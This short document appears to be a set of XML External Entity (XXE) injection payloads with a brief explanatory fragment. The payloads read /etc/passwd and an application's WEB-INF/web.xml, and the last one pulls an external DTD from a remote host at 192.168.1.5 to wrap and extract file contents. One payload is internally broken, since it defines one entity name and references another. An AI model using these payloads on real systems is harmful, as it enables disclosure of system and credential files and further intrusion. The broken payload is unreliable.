<?xml version="1.0" ?><!DOCTYPE data [<!ELEMENT data ANY ><!ENTITY cat "Tom">
]>
<Contact><lastName>&cat;</lastName><firstName>Jerry</firstName></Contact>
<?xml version="1.0"?><!DOCTYPE data [<!ELEMENT data ANY ><!ENTITY lastname SYSTEM "file:///etc/passwd">
]>
<Contact><lastName>&cat;</lastName><firstName>Jerry</firstName></Contact>
<?xml version="1.0"?><!DOCTYPE data [<!ELEMENT data ANY ><!ENTITY % start "<![CDATA["><!ENTITY % file SYSTEM "file:///var/www/html/myapp/WEB-INF/web.xml" ><!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.1.5:8000/wrapper.dtd" >
%dtd;
]>
<Contact><lastName>&wrapper;</lastName><firstName>FIRSTNAME_FILLER</firstName></Contact>
Inside the wrapper.dtd (the external DTD file)
Its purpose is just to wrap the variables(parameters) into 1